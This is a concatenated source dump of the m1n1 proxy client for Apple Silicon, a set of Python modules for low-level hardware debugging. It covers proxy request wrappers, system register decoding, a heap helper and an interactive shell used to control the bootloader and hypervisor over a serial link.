self.request(self.P_DC_ISW, sw) def dc_csw(self, sw): self.request(self.P_DC_CSW, sw) def dc_cisw(self, sw): self.request(self.P_DC_CISW, sw) def dc_zva(self, addr, size): self.request(self.P_DC_ZVA, addr, size) def dc_cvac(self, addr, size): self.request(self.P_DC_CVAC, addr, size) def dc_cvau(self, addr, size): self.request(self.P_DC_CVAU, addr, size) def dc_civac(self, addr, size): self.request(self.P_DC_CIVAC, addr, size) def mmu_shutdown(self): self.request(self.P_MMU_SHUTDOWN) def mmu_init(self): self.request(self.P_MMU_INIT) def mmu_disable(self): return self.request(self.P_MMU_DISABLE) def mmu_restore(self, flags): self.request(self.P_MMU_RESTORE, flags) def mmu_init_secondary(self, cpu): self.request(self.P_MMU_INIT_SECONDARY, cpu) def xzdec(self, inbuf, insize, outbuf=0, outsize=0): return self.request(self.P_XZDEC, inbuf, insize, outbuf, outsize, signed=True) def gzdec(self, inbuf, insize, outbuf, outsize): return self.request(self.P_GZDEC, inbuf, insize, outbuf, outsize, signed=True) def smp_start_secondaries(self): self.request(self.P_SMP_START_SECONDARIES) def smp_call(self, cpu, addr, *args): if len(args) > 4: raise ValueError("Too many arguments") self.request(self.P_SMP_CALL, cpu, addr, *args) def smp_call_sync(self, cpu, addr, *args): if len(args) > 4: raise ValueError("Too many arguments") return self.request(self.P_SMP_CALL_SYNC, cpu, addr, *args) def smp_wait(self, cpu): return self.request(self.P_SMP_WAIT, cpu) def smp_set_wfe_mode(self, mode): return self.request(self.P_SMP_SET_WFE_MODE, mode) def smp_is_alive(self, cpu): return self.request(self.P_SMP_IS_ALIVE, cpu) def smp_stop_secondaries(self, deep_sleep=False): self.request(self.P_SMP_STOP_SECONDARIES, deep_sleep) def smp_call_el1(self, cpu, addr, *args): if len(args) > 3: raise ValueError("Too many arguments") self.request(self.P_SMP_CALL_EL1, cpu, addr, *args) def smp_call_sync_el1(self, cpu, addr, *args): if len(args) > 3: raise ValueError("Too many arguments") return self.request(self.P_SMP_CALL_SYNC_EL1, cpu, addr, *args) def heapblock_alloc(self, size): return self.request(self.P_HEAPBLOCK_ALLOC, size) def malloc(self, size): return self.request(self.P_MALLOC, size) def memalign(self, align, size): return self.request(self.P_MEMALIGN, align, size) def free(self, ptr): self.request(self.P_FREE, ptr) def kboot_boot(self, kernel): self.request(self.P_KBOOT_BOOT, kernel) def kboot_set_chosen(self, name, value): self.request(self.P_KBOOT_SET_CHOSEN, name, value) def kboot_set_initrd(self, base, size): self.request(self.P_KBOOT_SET_INITRD, base, size) def kboot_prepare_dt(self, dt_addr): return self.request(self.P_KBOOT_PREPARE_DT, dt_addr) def pmgr_clock_enable(self, clkid): return self.request(self.P_PMGR_CLOCK_ENABLE, clkid) def pmgr_clock_disable(self, clkid): return self.request(self.P_PMGR_CLOCK_DISABLE, clkid) def pmgr_adt_clocks_enable(self, path): return self.request(self.P_PMGR_ADT_CLOCKS_ENABLE, path) def pmgr_adt_clocks_disable(self, path): return self.request(self.P_PMGR_ADT_CLOCKS_DISABLE, path) def pmgr_reset(self, die, name): return self.request(self.P_PMGR_RESET, die, name) def iodev_set_usage(self, iodev, usage): return self.request(self.P_IODEV_SET_USAGE, iodev, usage) def iodev_can_read(self, iodev): return self.request(self.P_IODEV_CAN_READ, iodev) def iodev_can_write(self, iodev): return self.request(self.P_IODEV_CAN_WRITE, iodev) def iodev_read(self, iodev, buf, size=None): return self.request(self.P_IODEV_READ, iodev, buf, size) def iodev_write(self, iodev, buf, size=None): return self.request(self.P_IODEV_WRITE, iodev, buf, size) def iodev_whoami(self): return IODEV(self.request(self.P_IODEV_WHOAMI)) def usb_iodev_vuart_setup(self, iodev): return self.request(self.P_USB_IODEV_VUART_SETUP, iodev) def tunables_apply_global(self, path, prop): return self.request(self.P_TUNABLES_APPLY_GLOBAL, path, prop) def tunables_apply_local(self, path, prop, reg_offset): return self.request(self.P_TUNABLES_APPLY_LOCAL, path, prop, reg_offset) def tunables_apply_local_addr(self, path, prop, base): return self.request(self.P_TUNABLES_APPLY_LOCAL, path, prop, base) def dart_init(self, base, sid, dart_type=DART.T8020): return self.request(self.P_DART_INIT, base, sid, dart_type) def dart_shutdown(self, dart): return self.request(self.P_DART_SHUTDOWN, dart) def dart_map(self, dart, iova, bfr, len): return self.request(self.P_DART_MAP, dart, iova, bfr, len) def dart_unmap(self, dart, iova, len): return self.request(self.P_DART_UNMAP, dart, iova, len) def hv_init(self): return self.request(self.P_HV_INIT) def hv_map(self, from_, to, size, incr): return self.request(self.P_HV_MAP, from_, to, size, incr) def hv_start(self, entry, *args): return self.request(self.P_HV_START, entry, *args) def hv_translate(self, addr, s1=False, w=False): '''Translate virtual address stage 1 only if s1, for write if w''' return self.request(self.P_HV_TRANSLATE, addr, s1, w) def hv_pt_walk(self, addr): return self.request(self.P_HV_PT_WALK, addr) def hv_map_vuart(self, base, irq, iodev): return self.request(self.P_HV_MAP_VUART, base, irq, iodev) def hv_trace_irq(self, evt_type, num, count, flags): return self.request(self.P_HV_TRACE_IRQ, evt_type, num, count, flags) def hv_wdt_start(self, cpu): return self.request(self.P_HV_WDT_START, cpu) def hv_start_secondary(self, cpu, entry, *args): return self.request(self.P_HV_START_SECONDARY, cpu, entry, *args) def hv_switch_cpu(self, cpu): return self.request(self.P_HV_SWITCH_CPU, cpu) def hv_set_time_stealing(self, enabled, reset): return self.request(self.P_HV_SET_TIME_STEALING, int(bool(enabled)), int(bool(reset))) def hv_pin_cpu(self, cpu): return self.request(self.P_HV_PIN_CPU, cpu) def hv_write_hcr(self, hcr): return self.request(self.P_HV_WRITE_HCR, hcr) def hv_map_virtio(self, base, config): return self.request(self.P_HV_MAP_VIRTIO, base, config) def virtio_put_buffer(self, base, qu, idx, length): return self.request(self.P_VIRTIO_PUT_BUFFER, base, qu, idx, length) def hv_exit_cpu(self, cpu=-1): return self.request(self.P_HV_EXIT_CPU, cpu) def hv_add_time(self, time): return self.request(self.P_HV_ADD_TIME, time) def fb_init(self): return self.request(self.P_FB_INIT) def fb_shutdown(self, restore_logo=True): return self.request(self.P_FB_SHUTDOWN, restore_logo) def fb_blit(self, x, y, w, h, ptr, stride, pix_fmt=PIX_FMT.XRGB): return self.request(self.P_FB_BLIT, x, y, w, h, ptr, stride | pix_fmt << 32) def fb_unblit(self, x, y, w, h, ptr, stride): return self.request(self.P_FB_UNBLIT, x, y, w, h, ptr, stride) def fb_fill(self, x, y, w, h, color): return self.request(self.P_FB_FILL, x, y, w, h, color) def fb_clear(self, color): return self.request(self.P_FB_CLEAR, color) def fb_display_logo(self): return self.request(self.P_FB_DISPLAY_LOGO) def fb_restore_logo(self): return self.request(self.P_FB_RESTORE_LOGO) def fb_improve_logo(self): return self.request(self.P_FB_IMPROVE_LOGO) def pcie_init(self): return self.request(self.P_PCIE_INIT) def pcie_shutdown(self): return self.request(self.P_PCIE_SHUTDOWN) def nvme_init(self): return self.request(self.P_NVME_INIT) def nvme_shutdown(self): return self.request(self.P_NVME_SHUTDOWN) def nvme_read(self, nsid, lba, bfr): return self.request(self.P_NVME_READ, nsid, lba, bfr) def nvme_flush(self, nsid): return self.request(self.P_NVME_FLUSH, nsid) def mcc_get_carveouts(self): return self.request(self.P_MCC_GET_CARVEOUTS) def display_init(self): return self.request(self.P_DISPLAY_INIT) def display_configure(self, cfg): return self.request(self.P_DISPLAY_CONFIGURE, cfg) def display_shutdown(self, mode): return self.request(self.P_DISPLAY_SHUTDOWN, mode) def display_start_dcp(self): return self.request(self.P_DISPLAY_START_DCP) def display_is_external(self): return self.request(self.P_DISPLAY_IS_EXTERNAL) def dapf_init_all(self): return self.request(self.P_DAPF_INIT_ALL) def dapf_init(self, path): return self.request(self.P_DAPF_INIT, path) def cpufreq_init(self): return self.request(self.P_CPUFREQ_INIT) __all__.extend(k for k, v in globals().items() if (callable(v) or isinstance(v, type)) and v.__module__ == __name__) # To run m1n1/proxy.py as script, use: # $ cd /m1n1/proxyclient # $ python3 -m m1n1.proxy m1n1/proxy.py if __name__ == "__main__": uartif = UartInterface(device=None, debug=True) print("Sending NOP...", end=' ') uartif.nop() print("OK") proxy = M1N1Proxy(uartif, debug=True) print("Sending Proxy NOP...", end=' ') proxy.nop() print("OK") print("Boot args: 0x%x" % proxy.get_bootargs()) m1n1-1.4.11/proxyclient/m1n1/proxyutils.py000066400000000000000000000463031453754430200203370ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import serial, os, struct, sys, time, json, os.path, gzip, functools from contextlib import contextmanager from construct import * from .asm import ARMAsm from .proxy import * from .utils import Reloadable, chexdiff32 from .tgtypes import * from .sysreg import * from .malloc import Heap from . import adt __all__ = ["ProxyUtils", "RegMonitor", "GuardedHeap", "bootstrap_port"] SIMD_B = Array(32, Array(16, Int8ul)) SIMD_H = Array(32, Array(8, Int16ul)) SIMD_S = Array(32, Array(4, Int32ul)) SIMD_D = Array(32, Array(2, Int64ul)) SIMD_Q = Array(32, BytesInteger(16, swapped=True)) # This isn't perfect, since multiple versions could have the same # iBoot version, but it's good enough VERSION_MAP = { "iBoot-7429.61.2": "V12_1", "iBoot-7429.81.3": "V12_2", "iBoot-7459.101.2": "V12_3", "iBoot-7459.121.3": "V12_4", "iBoot-7459.141.1": "V12_5", "iBoot-8419.0.151.0.1": "V13_0B4", "iBoot-8419.40.2.0.5": "V13_0B5", "iBoot-8419.40.33.0.1": "V13_0B6", "iBoot-8419.41.10": "V13_0", "iBoot-8419.60.44": "V13_1", "iBoot-8419.80.7": "V13_2", "iBoot-8422.100.650": "V13_3", "iBoot-8422.140.50.0.2": "V13_5B4", } class ProxyUtils(Reloadable): CODE_BUFFER_SIZE = 0x10000 def __init__(self, p, heap_size=1024 * 1024 * 1024): self.iface = p.iface self.proxy = p self.base = p.get_base() self.ba_addr = p.get_bootargs() self.ba = self.iface.readstruct(self.ba_addr, BootArgs) # We allocate a 128MB heap, 128MB after the m1n1 heap, without telling it about it. # This frees up from having to coordinate memory management or free stuff after a Python # script runs, at the expense that if m1n1 ever uses more than 128MB of heap it will # clash with Python (m1n1 will normally not use *any* heap when running proxy ops though, # except when running very high-level operations like booting a kernel, so this should be # OK). self.heap_size = heap_size try: self.heap_base = p.heapblock_alloc(0) except ProxyRemoteError: # Compat with versions that don't have heapblock yet self.heap_base = (self.base + ((self.ba.top_of_kernel_data + 0xffff) & ~0xffff) - self.ba.phys_base) if os.environ.get("M1N1HEAP", ""): self.heap_base = int(os.environ.get("M1N1HEAP", ""), 16) self.heap_base += 128 * 1024 * 1024 # We leave 128MB for m1n1 heap self.heap_top = self.heap_base + self.heap_size self.heap = Heap(self.heap_base, self.heap_top) self.proxy.heap = self.heap self.malloc = self.heap.malloc self.memalign = self.heap.memalign self.free = self.heap.free self.code_buffer = self.malloc(self.CODE_BUFFER_SIZE) self.adt_data = None self.adt = LazyADT(self) self.simd_buf = self.malloc(32 * 16) self.simd_type = None self.simd = None self.mmu_off = False self.inst_cache = {} self.exec_modes = { None: (self.proxy.call, REGION_RX_EL1), "el2": (self.proxy.call, REGION_RX_EL1), "el1": (self.proxy.el1_call, 0), "el0": (self.proxy.el0_call, REGION_RWX_EL0), "gl2": (self.proxy.gl2_call, REGION_RX_EL1), "gl1": (self.proxy.gl1_call, 0), } self._read = { 8: lambda addr: self.proxy.read8(addr), 16: lambda addr: self.proxy.read16(addr), 32: lambda addr: self.proxy.read32(addr), 64: lambda addr: self.uread64(addr), 128: lambda addr: [self.uread64(addr), self.uread64(addr + 8)], 256: lambda addr: [self.uread64(addr), self.uread64(addr + 8), self.uread64(addr + 16), self.uread64(addr + 24)], 512: lambda addr: [self.uread64(addr + i) for i in range(0, 64, 8)], } self._write = { 8: lambda addr, data: self.proxy.write8(addr, data), 16: lambda addr, data: self.proxy.write16(addr, data), 32: lambda addr, data: self.proxy.write32(addr, data), 64: lambda addr, data: self.uwrite64(addr, data), 128: lambda addr, data: (self.uwrite64(addr, data[0]), self.uwrite64(addr + 8, data[1])), 256: lambda addr, data: (self.uwrite64(addr, data[0]), self.uwrite64(addr + 8, data[1]), self.uwrite64(addr + 16, data[2]), self.uwrite64(addr + 24, data[3])), 512: lambda addr, data: [self.uwrite64(addr + 8 * i, data[i]) for i in range(8)], } def uwrite64(self, addr, data): '''write 8 byte value to given address, supporting split 4-byte halves''' if addr & 3: raise AlignmentError() if addr & 4: self.proxy.write32(addr, data & 0xffffffff) self.proxy.write32(addr + 4, data >> 32) else: self.proxy.write64(addr, data) def uread64(self, addr): '''write 8 byte value to given address, supporting split 4-byte halves''' if addr & 3: raise AlignmentError() if addr & 4: return self.proxy.read32(addr) | (self.proxy.read32(addr + 4) << 32) else: return self.proxy.read64(addr) def read(self, addr, width): '''do a width read from addr and return it width can be 8, 16, 21, 64, 128 or 256''' val = self._read[width](addr) if self.proxy.get_exc_count(): raise ProxyError("Exception occurred") return val def write(self, addr, data, width): '''do a width write of data to addr width can be 8, 16, 21, 64, 128 or 256''' self._write[width](addr, data) if self.proxy.get_exc_count(): raise ProxyError("Exception occurred") def mrs(self, reg, *, silent=False, call=None): '''read system register reg''' op0, op1, CRn, CRm, op2 = sysreg_parse(reg) op = ((op0 << 19) | (op1 << 16) | (CRn << 12) | (CRm << 8) | (op2 << 5) | 0xd5200000) return self.exec(op, call=call, silent=silent) def msr(self, reg, val, *, silent=False, call=None): '''Write val to system register reg''' op0, op1, CRn, CRm, op2 = sysreg_parse(reg) op = ((op0 << 19) | (op1 << 16) | (CRn << 12) | (CRm << 8) | (op2 << 5) | 0xd5000000) self.exec(op, val, call=call, silent=silent) sys = msr sysl = mrs def exec(self, op, r0=0, r1=0, r2=0, r3=0, *, silent=False, call=None, ignore_exceptions=False): if callable(call): region = REGION_RX_EL1 elif isinstance(call, tuple): call, region = call else: call, region = self.exec_modes[call] if isinstance(op, list): op = tuple(op) if op in self.inst_cache: func = self.inst_cache[op] elif isinstance(op, tuple) or isinstance(op, list): func = struct.pack(f"<{len(op)}II", *op, 0xd65f03c0) # ret elif isinstance(op, int): func = struct.pack("> 2 print(f" SPSR = {ctx.spsr}") print(f" ELR = {addr(ctx.elr)}" + (f" (0x{ctx.elr_phys:x})" if ctx.elr_phys else "")) print(f" SP_EL{el} = 0x{ctx.sp[el]:x}" + (f" (0x{ctx.sp_phys:x})" if ctx.sp_phys else "")) if is_fault: print(f" ESR = {ctx.esr}") print(f" FAR = {addr(ctx.far)}" + (f" (0x{ctx.far_phys:x})" if ctx.far_phys else "")) for i in range(0, 31, 4): j = min(30, i + 3) print(f" {f'x{i}-x{j}':>7} = {' '.join(f'{r:016x}' for r in ctx.regs[i:j + 1])}") if ctx.elr_phys: print() print(" == Code context ==") off = -(num_ctx // 2) self.disassemble_at(ctx.elr_phys + 4 * off, num_ctx * 4, ctx.elr, ctx.elr + 4 * off, sym=sym) if is_fault: if ctx.esr.EC == ESR_EC.MSR or ctx.esr.EC == ESR_EC.IMPDEF and ctx.esr.ISS == 0x20: print() print(" == MRS/MSR fault decoding ==") if ctx.esr.EC == ESR_EC.MSR: iss = ESR_ISS_MSR(ctx.esr.ISS) else: iss = ESR_ISS_MSR(self.mrs(AFSR1_EL2)) enc = iss.Op0, iss.Op1, iss.CRn, iss.CRm, iss.Op2 if enc in sysreg_rev: name = sysreg_rev[enc] else: name = f"s{iss.Op0}_{iss.Op1}_c{iss.CRn}_c{iss.CRm}_{iss.Op2}" if iss.DIR == MSR_DIR.READ: print(f" Instruction: mrs x{iss.Rt}, {name}") else: print(f" Instruction: msr {name}, x{iss.Rt}") if ctx.esr.EC in (ESR_EC.DABORT, ESR_EC.DABORT_LOWER): print() print(" == Data abort decoding ==") iss = ESR_ISS_DABORT(ctx.esr.ISS) if iss.ISV: print(f" ISS: {iss!s}") else: print(" No instruction syndrome available") if iss.DFSC == DABORT_DFSC.ECC_ERROR: self.print_l2c_regs() if ctx.esr.EC == ESR_EC.SERROR and ctx.esr.ISS == 0: self.print_l2c_regs() print() @contextmanager def mmu_disabled(self): flags = self.proxy.mmu_disable() try: yield finally: self.proxy.mmu_restore(flags) def push_simd(self): if self.simd is not None: data = self.simd_type.build(self.simd) self.iface.writemem(self.simd_buf, data) self.proxy.put_simd_state(self.simd_buf) self.simd = self.simd_type = None def get_simd(self, simd_type): if self.simd is not None and self.simd_type is not simd_type: data = self.simd_type.build(self.simd) self.simd = simd_type.parse(data) self.simd_type = simd_type elif self.simd is None: self.proxy.get_simd_state(self.simd_buf) data = self.iface.readmem(self.simd_buf, 32 * 16) self.simd = simd_type.parse(data) self.simd_type = simd_type return self.simd @property def b(self): return self.get_simd(SIMD_B) @property def h(self): return self.get_simd(SIMD_H) @property def s(self): return self.get_simd(SIMD_S) @property def d(self): return self.get_simd(SIMD_D) @property def q(self): return self.get_simd(SIMD_Q) def get_version(self, v): if isinstance(v, bytes): v = v.split(b"\0")[0].decode("ascii") return VERSION_MAP.get(v, None) @property def version(self): return self.get_version(self.adt["/chosen"].firmware_version) @property def sfr_version(self): return self.get_version(self.adt["/chosen"].system_firmware_version) class LazyADT: def __init__(self, utils): self.__dict__["_utils"] = utils @functools.cached_property def _adt(self): return adt.load_adt(self._utils.get_adt()) def __getitem__(self, item): return self._adt[item] def __setitem__(self, item, value): self._adt[item] = value def __delitem__(self, item): del self._adt[item] def __contains__(self, item): return item in self._adt def __getattr__(self, attr): return getattr(self._adt, attr) def __setattr__(self, attr, value): return setattr(self._adt, attr, value) def __delattr__(self, attr): return delattr(self._adt, attr) def __str__(self, t=""): return str(self._adt) def __iter__(self): return iter(self._adt) class RegMonitor(Reloadable): def __init__(self, utils, bufsize=0x100000, ascii=False, log=None): self.utils = utils self.proxy = utils.proxy self.iface = self.proxy.iface self.ranges = [] self.last = [] self.bufsize = bufsize self.ascii = ascii self.log = log or print if bufsize: self.scratch = utils.malloc(bufsize) else: self.scratch = None def readmem(self, start, size, readfn): if readfn: return readfn(start, size) if self.scratch: assert size < self.bufsize self.proxy.memcpy32(self.scratch, start, size) start = self.scratch return self.proxy.iface.readmem(start, size) def add(self, start, size, name=None, offset=None, readfn=None): if offset is None: offset = start self.ranges.append((start, size, name, offset, readfn)) self.last.append(None) def show_regions(self, log=print): for start, size, name, offset, readfn in sorted(self.ranges): end = start + size - 1 log(f"{start:#x}..{end:#x} ({size:#x})\t{name}") def poll(self): if not self.ranges: return cur = [] for (start, size, name, offset, readfn), last in zip(self.ranges, self.last): count = size // 4 block = self.readmem(start, size, readfn) if block is None: if last is not None: self.log(f"# Lost: {name} ({start:#x}..{start + size - 1:#x})") cur.append(None) continue words = struct.unpack("<%dI" % count, block) cur.append(block) if last == block: continue if name: header = f"# {name} ({start:#x}..{start + size - 1:#x})\n" else: header = f"# ({start:#x}..{start + size - 1:#x})\n" self.log(header + chexdiff32(last, block, offset=offset)) self.last = cur class GuardedHeap: def __init__(self, malloc, memalign=None, free=None): if isinstance(malloc, Heap): malloc, memalign, free = malloc.malloc, malloc.memalign, malloc.free self.ptrs = set() self._malloc = malloc self._memalign = memalign self._free = free def __enter__(self): return self def __exit__(self, *exc): self.free_all() return False def malloc(self, sz): ptr = self._malloc(sz) self.ptrs.add(ptr) return ptr def memalign(self, align, sz): ptr = self._memalign(align, sz) self.ptrs.add(ptr) return ptr def free(self, ptr): self.ptrs.remove(ptr) self._free(ptr) def free_all(self): for ptr in self.ptrs: self._free(ptr) self.ptrs = set() def bootstrap_port(iface, proxy): to = iface.dev.timeout iface.dev.timeout = 0.15 try: do_baud = proxy.iodev_whoami() == IODEV.UART except ProxyCommandError: # Old m1n1 version -- assume non-USB serial link, force baudrate adjust do_baud = True except UartTimeout: # Assume the receiving end is already at 1500000 iface.dev.baudrate = 1500000 do_baud = False if do_baud: try: iface.nop() proxy.set_baud(1500000) except UartTimeout: # May fail even if the setting did get applied; checked by the .nop next iface.dev.baudrate = 1500000 iface.nop() iface.dev.timeout = to m1n1-1.4.11/proxyclient/m1n1/setup.py000066400000000000000000000014201453754430200172240ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import os, struct, sys, time from .hv import HV from .proxy import * from .proxyutils import * from .sysreg import * from .tgtypes import * from .utils import * from .hw.pmu import PMU # Create serial connection iface = UartInterface() # Construct m1n1 proxy layer over serial connection p = M1N1Proxy(iface, debug=False) # Customise parameters of proxy and serial port # based on information sent over the connection bootstrap_port(iface, p) # Initialise the Proxy interface from values fetched from # the remote end u = ProxyUtils(p) # Build a Register Monitoring object on Proxy Interface mon = RegMonitor(u) hv = HV(iface, p, u) fb = u.ba.video.base PMU(u).reset_panic_counter() print(f"m1n1 base: 0x{u.base:x}") PMU(u).reset_panic_counter() m1n1-1.4.11/proxyclient/m1n1/shell.py000066400000000000000000000150461453754430200172040ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import atexit, serial, os, struct, code, traceback, readline, rlcompleter, sys import __main__ import builtins import re from .proxy import * from .proxyutils import * from .utils import * from . import sysreg from inspect import isfunction, signature __all__ = ["ExitConsole", "run_shell"] class HistoryConsole(code.InteractiveConsole): def __init__(self, locals=None, filename="", histfile=os.path.expanduser("~/.m1n1-history")): code.InteractiveConsole.__init__(self, locals, filename) self.histfile = histfile self.init_history(histfile) self.poll_func = None def init_history(self, histfile): readline.parse_and_bind("tab: complete") if hasattr(readline, "read_history_file"): try: readline.read_history_file(histfile) except FileNotFoundError: pass def save_history(self): readline.set_history_length(10000) try: readline.write_history_file(self.histfile) except OSError as e: print(f"Failed writing history to {self.histfile}: {e}", file=sys.stderr) def showtraceback(self): type, value, tb = sys.exc_info() traceback.print_exception(type, value, tb) def runcode(self, code): super().runcode(code) if self.poll_func: self.poll_func() if "mon" in self.locals: try: self.locals["mon"].poll() except Exception as e: print(f"mon.poll() failed: {e!r}") if "u" in self.locals: self.locals["u"].push_simd() class ExitConsole(SystemExit): pass cmd_list = {} subcmd_list = {} # Debug levels DBL_NONE = 0 DBL_INFO = 1 DBL_TRACE = 2 DBL_DEBUG = 3 DBL_EDEBUG = 4 db_level = DBL_NONE def debug_cmd(db=None): '''Set debug level to integer %d(none)...%d(extreme debug)''' % (DBL_NONE, DBL_EDEBUG) global db_level if db: db_level = db print("debug level=%d" % db_level) def help_cmd(arg=None): if db_level >= DBL_DEBUG: print("arg=%s" % repr(arg)) if arg: #cmd = arg.__qualname__ if callable(arg): cmd = arg.__name__ elif isinstance(arg, str): cmd = arg else: print("Unknown command: %s" % repr(arg)) return if db_level >= DBL_DEBUG: print("cmd=%s" % repr(cmd)) if cmd not in cmd_list: print("Undocumented command %s" % cmd) return hinfo = cmd_list[cmd] if isinstance(hinfo, str): print("%-10s : %s" % (cmd, hinfo)) return if cmd in subcmd_list: clist = subcmd_list[cmd] aname = cmd if db_level >= DBL_DEBUG: print("subcmd_list[%s] = %s" % (repr(cmd), repr(clist))) else: print("command %s is not documented" % cmd) return else: clist = cmd_list aname = 'top level' print("Note: To display a category's commands quote the name e.g. help('HV')") print("List of %s commands:" % aname) for cmd in clist.keys(): hinfo = clist[cmd] if isinstance(hinfo, str): msg = hinfo.strip().split('\n', 1)[0] elif isinstance(hinfo, int): msg = "%s category - %d subcommands" % (cmd, hinfo) else: print("%s ?" % cmd) continue if len(cmd) <= 10: print("%-10s : %s" % (cmd, msg)) else: print("%s:\n %s" % (cmd, msg)) #locals is a dictionary for constructing the # InteractiveConsole with. It adds in the callables # in proxy utils iface and sysreg into locals def run_shell(locals, msg=None, exitmsg=None, poll_func=None): saved_display = sys.displayhook try: def display(val): if isinstance(val, int) and not isinstance(val, bool): builtins._ = val print(hex(val)) elif callable(val): val() else: saved_display(val) sys.displayhook = display # convenience locals["h"] = hex locals["sysreg"] = sysreg if "proxy" in locals and "p" not in locals: locals["p"] = locals["proxy"] if "utils" in locals and "u" not in locals: locals["u"] = locals["utils"] for obj_name in ("iface", "p", "u"): obj = locals.get(obj_name) obj_class = type(obj) if obj is None: continue for attr in dir(obj_class): if attr in locals or attr.startswith('_'): continue member = getattr(obj_class, attr) if callable(member) and not isinstance(member, property): cmd = getattr(obj, attr) locals[attr] = cmd for attr in dir(sysreg): locals[attr] = getattr(sysreg, attr) locals['help'] = help_cmd locals['debug'] = debug_cmd for obj_name in locals.keys(): obj = locals.get(obj_name) if obj is None or obj_name.startswith('_'): continue if callable(obj) and not isinstance(obj, property): try: desc = obj_name + str(signature(obj)) except: continue qn = obj.__qualname__ if qn.find('.') > 0: a = qn.split('.') if a[0] not in subcmd_list: subcmd_list[a[0]] = {} if a[0] not in cmd_list: cmd_list[a[0]] = 1 else: cmd_list[a[0]] += 1 clist = subcmd_list[a[0]] else: clist = None if locals[obj_name].__doc__: desc += " - " + locals[obj_name].__doc__ cmd_list[obj_name] = desc if isinstance(clist, dict): clist[obj_name] = desc con = HistoryConsole(locals) con.poll_func = poll_func try: con.interact(msg, exitmsg) except ExitConsole as e: if len(e.args): return e.args[0] else: return finally: con.save_history() finally: sys.displayhook = saved_display if __name__ == "__main__": from .setup import * locals = dict(__main__.__dict__) run_shell(locals, msg="Have fun!") m1n1-1.4.11/proxyclient/m1n1/sysreg.py000066400000000000000000000177021453754430200174120ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import json, os, re from enum import Enum, IntEnum, IntFlag from .utils import Register, Register64, Register32 __all__ = ["sysreg_fwd", "sysreg_rev"] def _load_registers(): global sysreg_fwd, sysop_fwd sysreg_fwd = {} sysop_fwd = {} for fname in ["arm_regs.json", "apple_regs.json"]: data = json.load(open(os.path.join(os.path.dirname(__file__), "..", "..", "tools", fname))) for reg in data: if "accessors" in reg: for acc in reg["accessors"]: if acc in ("MRS", "MSR"): sysreg_fwd[reg["name"]] = tuple(reg["enc"]) else: sysop_fwd[acc + " " + reg["name"]] = tuple(reg["enc"]) else: sysreg_fwd[reg["name"]] = tuple(reg["enc"]) _load_registers() sysreg_rev = {v: k for k, v in sysreg_fwd.items()} sysop_rev = {v: k for k, v in sysop_fwd.items()} sysop_fwd_id = {k.replace(" ", "_"): v for k,v in sysop_fwd.items()} globals().update(sysreg_fwd) __all__.extend(sysreg_fwd.keys()) globals().update(sysop_fwd_id) __all__.extend(sysop_fwd_id.keys()) def sysreg_name(enc): if enc in sysreg_rev: return sysreg_rev[enc] if enc in sysop_rev: return sysop_rev[enc] return f"s{enc[0]}_{enc[1]}_c{enc[2]}_c{enc[3]}_{enc[4]}" def sysreg_parse(s): if isinstance(s, tuple) or isinstance(s, list): return tuple(s) s = s.strip() for r in (r"s(\d+)_(\d+)_c(\d+)_c(\d+)_(\d+)", r"(\d+), *(\d+), *(\d+), *(\d+), *(\d+)"): if m := re.match(r, s): enc = tuple(map(int, m.groups())) break else: for i in sysreg_fwd, sysop_fwd, sysop_fwd_id: try: enc = i[s] except KeyError: continue break else: raise Exception(f"Unknown sysreg name {s}") return enc def DBGBCRn_EL1(n): return (2,0,0,n,5) def DBGBVRn_EL1(n): return (2,0,0,n,4) def DBGWCRn_EL1(n): return (2,0,0,n,7) def DBGWVRn_EL1(n): return (2,0,0,n,6) class ESR_EC(IntEnum): UNKNOWN = 0b000000 WFI = 0b000001 FP_TRAP = 0b000111 PAUTH_TRAP = 0b001000 LS64 = 0b001010 BTI = 0b001101 ILLEGAL = 0b001110 SVC = 0b010101 HVC = 0b010110 SMC = 0b010111 MSR = 0b011000 SVE = 0b011001 PAUTH_FAIL = 0b011100 IABORT_LOWER = 0b100000 IABORT = 0b100001 PC_ALIGN = 0b100010 DABORT_LOWER = 0b100100 DABORT = 0b100101 SP_ALIGN = 0b100110 FP_EXC = 0b101100 SERROR = 0b101111 BKPT_LOWER = 0b110000 BKPT = 0b110001 SSTEP_LOWER = 0b110010 SSTEP = 0b110011 WATCH_LOWER = 0b110100 WATCH = 0b110101 BRK = 0b111100 IMPDEF = 0b111111 class MSR_DIR(IntEnum): WRITE = 0 READ = 1 class ESR_ISS_MSR(Register32): Op0 = 21, 20 Op2 = 19, 17 Op1 = 16, 14 CRn = 13, 10 Rt = 9, 5 CRm = 4, 1 DIR = 0, 0, MSR_DIR class DABORT_DFSC(IntEnum): ASIZE_L0 = 0b000000 ASIZE_L1 = 0b000001 ASIZE_L2 = 0b000010 ASIZE_L3 = 0b000011 XLAT_L0 = 0b000100 XLAT_L1 = 0b000101 XLAT_L2 = 0b000110 XLAT_L3 = 0b000111 AF_L0 = 0b001000 AF_L1 = 0b001001 AF_L2 = 0b001010 AF_L3 = 0b001011 PERM_L0 = 0b001100 PERM_L1 = 0b001101 PERM_L2 = 0b001110 PERM_L3 = 0b001111 EABORT = 0b010000 TAG_CHECK = 0b010001 PT_EABORT_Lm1 = 0b010011 PT_EABORT_L0 = 0b010100 PT_EABORT_L1 = 0b010101 PT_EABORT_L2 = 0b010110 PT_EABORT_L3 = 0b010111 ECC_ERROR = 0b011000 PT_ECC_ERROR_Lm1 = 0b011011 PT_ECC_ERROR_L0 = 0b011100 PT_ECC_ERROR_L1 = 0b011101 PT_ECC_ERROR_L2 = 0b011110 PT_ECC_ERROR_L3 = 0b011111 ALIGN = 0b100001 ASIZE_Lm1 = 0b101001 XLAT_Lm1 = 0b101011 TLB_CONFLICT = 0b110000 UNSUPP_ATOMIC = 0b110001 IMPDEF_LOCKDOWN = 0b110100 IMPDEF_ATOMIC = 0b110101 class ESR_ISS_DABORT(Register32): ISV = 24 SAS = 23, 22 SSE = 21 SRT = 20, 16 SF = 15 AR = 14 VNCR = 13 SET = 12, 11 LSR = 12, 11 FnV = 10 EA = 9 CM = 8 S1PTR = 7 WnR = 6 DFSC = 5, 0, DABORT_DFSC class ESR(Register64): ISS2 = 36, 32 EC = 31, 26, ESR_EC IL = 25 ISS = 24, 0 class SPSR_M(IntEnum): EL0t = 0 EL1t = 4 EL1h = 5 EL2t = 8 EL2h = 9 class SPSR(Register64): N = 31 Z = 30 C = 29 V = 28 